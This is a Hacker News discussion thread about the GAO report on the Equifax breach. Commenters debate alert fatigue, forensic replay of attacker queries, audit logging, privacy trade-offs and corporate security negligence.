
Equifax IT staff had to rerun hackers' queries to work out what was nicked - wglb
https://www.theregister.co.uk/2018/09/17/gao_report_equifax_mega_breach/
======
oglopf
I know for a fact that they also had Splunk ES bought, built, and running,
then the CISO had them turn off the alerts because they were "too noisy" and
sure enough, they could see all this happening when it was retroactively
inspected.

There are so many things wrong in that sentence but my most glaring question
is: why on earth was she even receiving the alerts? That's so far below her
level. So, there's more here than just the cert issue. There's also just a
complete disregard for a secure mindset from the person that is supposed to be
setting that mindset in the culture, along with what sounds like micro-
managing to a state of no-managing.

~~~
txcwpalpha
I do security consulting and that very situation is common. I know several
BigCorps that specifically turned off Splunk alerts because it was too noisy.
Some of them had valid reasoning for it, other didn't.

There's also no guarantee that if they did have the Splunk alerts enabled,
that they would have caught anything. In one instance I can think of, having
Splunk alerts enabled did more harm than good because it meant SOC staff were
busy chasing down hundreds of false alerts (aka the "noise" in "too noisy")
and missed real threats. With the alerts off, the staff could use other more
reliable sources of threat notifications and catch more of the real threats.

Unless you have a big enough staff, or have Splunk (and your monitoring team)
tuned well enough to actually effectively sort through the alerts, they truly
well can just be "too noisy".

~~~
Aeolun
I don’t get it. Can’t you tweak the settings on these alerts until they’re
effective never sent during normal operations?

I mean, that might take you a day, maybe a week to catch the edge cases, and
then it’s not a problem any more...

~~~
ISL
Turning off alerts is a quick way to ensure that they are effectively never
sent during normal operations.

Most days, it is not incorrect.

~~~
Spare_account
> Most days, it is not incorrect

This feels a bit like saying a stopped clock tells the correct time twice a
day.

Turning off the alerts doesn't cause a problem unless there was something
worth alerting about that day.

------
hetspookjee
Meanwhile Equifax stock is at ~130 compared to ~145 it had before the news
broke of the back. With their lowest dip at ~90 and a long time dragging along
at ~110.

¯\\_(ツ)_/¯

I'm seriously considering that on the next massive data breach of a public
traded company I'm gonna buy some stock in the onset. Even though it feels
like betting against my own principles it just seems like a too good of an
opportunity to miss out on...

~~~
3pt14159
I've come to the conclusion that whatever is computerized is going to be
leaked. Health records? Might as well open source them for all I care. Red
team is tenacious and the steps you have to take to actually keep everything
secure make you seem unreasonable.

I've moved on. It's more important to focus on election security and physical
security at this point. Infosec is dead. Five years ago Bruce Schneier wrote a
book called "Carry On" now he has one called "Click Here to Kill Everybody".

Just five years.

We're in a technological growth feedback function and we're unable to predict
it.

~~~
ergothus
Author David Brin has (relatively) long advocated that we have two options:
shoot for privacy resulting in those with power able to access the "private"
info, or have it open where everyone can access. He then argues for the latter
because it minimizes rather than maximizes abuse. (I'm paraphrasing and
summarizing, possibly poorly)

I struggle with being _comfortable_ with that idea, but I don't have a problem
believing the technical accuracy of it.

~~~
xevb3k
Interestingly (because the parent is about Schneier). IIRC Schneier argues
against this.

The argument is that even if everybody has access to all information, only a
small group is able to exploit that access effectively.

So, you still end up with a small group abusing their access to the
information. You should therefore aim for privacy of sensitive information.

~~~
cortesoft
Yeah, I think a good example of this is thinking about something like license
plate scanning.

Technically, this is not taking advantage of any public information. It is
just capturing images of things happening in public. Anyone could set up a
camera and capture license plates as they drive through an intersection.

So is it totally fine for a police force to scan license plates at every
intersection?

The question is complicated, because the effect on people changes when you do
something that is not worrisome on a small scale in an automated way at a
large scale. When you add in that the people doing it have a large amount of
power over people and it changes it even more.

~~~
komali2
Well hold on, the difference there is the police can cross reference scanned
plates against other databases the public doesn't have access to, yeah? Or is
there some way to id plates against names? If there is I wanna know cause I
wanna ID whoever knocked my motorcycle over

~~~
xevb3k
If you had near continuous location information for a license plate it would
be relatively simple to use it to narrow it down to a small group of people.

I’d imagine it would be relatively easy to figure out where someone works
and/or lives and just go find them.

Correlating across multiple public databases might make things even easier.

But I don’t think this is the point of the argument. The point is that those
in power can gain more benefit from the information than the general
population.

Let’s say all votes in elections become public. That information is more
useful to a powerful political party than to the public at large, or a small
unfunded group. If you don’t want that information abused, the argument goes,
you should make sure it’s kept private.

------
c0nsumer
Isn't the claim made in the article as sensational -- that the investigators
replayed what the attackers did -- just kinda good practice?

It'd just make sense to me that, during an investigation, one would replay
what the attackers did to get a good understanding of the results. This just
seems like responsible investigation.

(The flipside would instead be claiming that X was compromised, and not being
able to honestly answer questions as to whether one retraced the attacker's
steps to provide assurance.)

~~~
toomuchtodo
You would expect a serious firm to have auditing and logging that would
provide the necessary forensics without having to rerun an exploit.

~~~
closeparen
You would keep a copy of every query result set? The storage requirements
alone would be insane. Seems perfectly reasonable to load that day’s
snapshot/rewind the WAL and rerun the query.

~~~
toomuchtodo
> You would keep a copy of every query result set?

I am familiar with systems that do, and do not believe it to be an
unreasonable ask depending on GRC [1] requirements. Storage is cheap,
compression effective.

[1]
[https://en.wikipedia.org/wiki/Governance,_risk_management,_a...](https://en.wikipedia.org/wiki/Governance,_risk_management,_and_compliance)

~~~
hderms
Have you ever honestly worked on a system that logged the results of every
query run?

~~~
mberger
Yes. In E-Health you have to be able say who and what was queried for. There's
also
[https://en.wikipedia.org/wiki/Reliable_messaging](https://en.wikipedia.org/wiki/Reliable_messaging)
We store every message and every response so you can tell what query was run
and when.

~~~
dogma1138
You are confusing two concepts under HIPAA you are explicitly disallowed to
log any EHR information.

Record systems must be able to represent the exact EHR presented to a query
e.g. to check if there was a human error like some one missreading the record.

This is achieved by keeping record versions and a record history this isn’t
achieved by having system logs and audit trails of queries returned.

Essentially your EHR system would work like git you’ll be able to query the
same commit as the original query but it doesn’t mean that your database audit
trail would record any parts of the electronic health record that is simply
not allowed.

~~~
mberger
We're Canadian so don't fall under HIPAA. We record in a database the full
request and response for each transaction submitted. We index with the UUID
for the message. With that request and response I can tell you exactly what
each query returned because we only return the data that goes in the message.
I can't tell you what the database contained at that point but I know what is
in the message.

~~~
saltcured
The approach you are describing seems to extend the same access protection and
audit requirements to the audit logs themselves. Otherwise, you have created a
covert channel to access the private content by examining these logs rather
than the original database.

The other approach, of being able to replay a historical query described in a
log while disallowing the private content in the logs allows the audit logs to
be stored in a way that can be biased for better storage durability, without
quite the same recursive audit nightmare. The logs are much smaller and can be
easily replicated and archived, without quite the same level of risk from
exposure of log content. Not to say those other logs are not also worth
protecting, but there are different ways to balance the risks and costs...

------
SonnyWortzik
While your data is being stolen and sold in the dark web, Equifax is happy to
sell you Identity protection for your business:
[https://www.equifax.com/business/credit-monitoring-and-
ident...](https://www.equifax.com/business/credit-monitoring-and-identity-
protection/)

~~~
albertgoeswoof
An extract from an email I recieved from BA after their latest breach:

We deeply apologise for any worry and inconvenience this criminal activity has
caused. For your reassurance, we’re offering you 12 months of free credit and
identity monitoring services, provided by Experian, one of the UK’s leading
Credit Reference agencies.

Your free ProtectMyID membership...

~~~
LinuxBender
If you accepted the free membership, you waived your rights to sue them. It
was in the agreement.

~~~
sp332
They tried it, but after backlash they backed off.
[https://www.forbes.com/sites/dianahembree/2017/09/09/consume...](https://www.forbes.com/sites/dianahembree/2017/09/09/consumer-
anger-over-equifaxs-ripoff-clause-in-offer-to-security-hack-victims-spurs-
policy-change/)

------
chris_mc
So, someone forgot to input this certificate into their Outlook Calendar,
Slack /remind, or whatever, and as a result 150mm people are at risk for
identity theft. Awesome. I'm _so_ glad I have no option to prevent my data
going to this super-competent company and there's no oversight by anyone
external.

------
iamleppert
Imagine all the companies who Equifax is probably contracted that need bulk
query access to their data. It’s easy for the crowd here to poo poo this kind
of behavior, and it is bad, and they should be punished for their
incompetence. They should not be in business any longer, it’s not like there
aren’t other companies operating in this space to fill the void.

That said, how do you seriously prevent such a thing from eventually
happening? In this case it was their systems that were compromised but it
could have easily been a downstream user or similar that had enough direct
access. I’m curious to know what, if any technical solutions could be
possible?

I’d never take a tech job protecting such a thing. The only way I could think
would be to have some very trusted people manually reviewing all access to the
primary data store, and even that probably wouldn’t be enough. Miss one
unauthorized query and you’re toast.

The entire system of social security numbers is flawed by design from a
security perspective and there in lies the problem.

------
badrabbit
The apache struts vulnerability is easy enough to detect -- java runs programs
it shouldn't. If a bigcorp like that doesn't have a nextgen av to detect
that,executable logging+SIEM correlation would have done the trick.

They detected the traffic after the tls inspection box was fixed, that was the
box that deteced it not the point of entry from what I understand. Regardless,
TLS inspection has it's place (this is why you can't have end-to-end cryto in
a corporate environment).

From my experience, most bigcorps do IT like it's still 2009. There is so much
architectural bloat,bureaucracy and unseen system complexity,it reduces
security controls to mere cosmetic theatrics.

It's like having a 200ft tall,50ft thick iron wall around your castle with
100k foot soldiers armed with the best weapons and training. The problem is
that your soldiers(IT staff) can't act fast due to bureaucracy and half of the
duties are someone else's problem due to over-segregation of duties. Your
fancy wall(security solutions and controls) is neat but there are holes wide
enough to fit ten people all over it.

In the end the enemy is complexity. You can't solve that by adding more
security vendors,solutions and staff which is exactly what everyone seems to
be doing.

~~~
p0rkbelly
"Nextgen"AV would not have caught this. AV is still AV and looking at
executables and binaries. Exploiting a vulnerability does not fit that bill.
This incident had nothing to do with a 'virus'. Now many tools that include
AV, say Crowdstrike, may have caught this...but AV is on the low-end of the
hierarchy of needs when it comes securing your assets, especially servers.
Much more so for Linux. AV is more of an end-user issue where they want to
download files and execute them.

~~~
badrabbit
Crowdstrike,Carbonblack,windows atp,etc... Are "nextgen av". You can call them
by their self proclaimed category as well.

~~~
p0rkbelly
Carbon Black and Crowdstrike were traditionally EDR platforms. Crowdstrike had
no AV capabilities until last year. They have now morphed into the EPP
category as per Gartner. They are a now a suite of tools, where AV is just a
single part of it that is the least important.

Any beyond that, "NextGen AV would have caught this" is the original premise.
Nextgen tools were not needed. All they had to do was patch a well known
Vulnerability within a period of MONTHS.

You can buy the fancy tools. If you can't do the basics, they are worthless.

~~~
badrabbit
Yeah but you'll always have unpatched vulns or 0days. You should patch but you
should also account for when patching isn't enough. Sometimes servers get
missed. Some places even have forgotten servers that aren't part of asset
management. Some places don't have asset management.

The fancy tools are not a onse size fits all solution just like patching and
goof security hygeine isn't.

------
bogomipz
It's worth nothing that such a display of negligence didn't stop the IRS from
awarding Equifax a 7 million dollar contract:

[https://www.politico.com/story/2017/10/03/equifax-irs-
fraud-...](https://www.politico.com/story/2017/10/03/equifax-irs-fraud-
protection-contract-243419)

And Equifax is the is same incompetent company providing identification
services for healthcare:

[http://www.specialtycreditreports.com/equifax-contract-
healt...](http://www.specialtycreditreports.com/equifax-contract-
healthcaregov-credit-reports/)

Nor did it prevent 18F from awarding a similar multi-million dollar contract
to Equifax for login.gov:

[https://federalnewsradio.com/reporters-notebook-jason-
miller...](https://federalnewsradio.com/reporters-notebook-jason-
miller/2017/01/ups-downs-continue-gsa-18fs-identity-management-effort/)

There is no incentive for Equifax to take security seriously.

------
phyller
The best, and possibly only way of preventing the theft of personal data is to
not have it.

The amount of surface area a large organization needs to always protect its
just too large, we can just assume at some point all that info will be taken.

------
dmfdmf
PSA: On Sept 21st freezing or thawing your credit will be free.

[https://krebsonsecurity.com/2018/09/in-a-few-days-credit-
fre...](https://krebsonsecurity.com/2018/09/in-a-few-days-credit-freezes-will-
be-fee-free/)

~~~
rcpt
I just tried to unfreeze my credit on Equifax and couldn't after several
visits to their website and multiple phone calls. They are asking me to mail
my SSN, address, birthday, etc..

------
danschumann
Nicked.. British English is fun.. is there a compendium of phrases like this?

~~~
forgotmypw
[https://en.wikipedia.org/wiki/British_slang](https://en.wikipedia.org/wiki/British_slang)

------
ccnafr
I actually read the GAO report and it does not say this.

Thought I should point out a major error right there in the title.

------
malkia
Just wondering, are the queries executed against the state of the databases in
that moment?

------
grigjd3
The headline is by far the least concerning part of this.

------
blunte
At a certain point (age, level of wisdom, whatever) you realize when a company
is focused on short term gain vs everything else. At that point, unless you
just don't give a shit, you move on.

Not to bring politics into this, but there's a variant of capitalism that runs
rampant in developed economies that is based almost exclusively on short term
gain.

Equifax, like so many other companies, illustrates this story in painful
detail - especially for those who work there.

There are so many executive poor behaviors that go on, affection not just
their employees but their customers and beyond, that you might think by now
there would be more attention paid to this. But the people who should be
paying attention are quite like the executives who are overly focused on short
term gain.

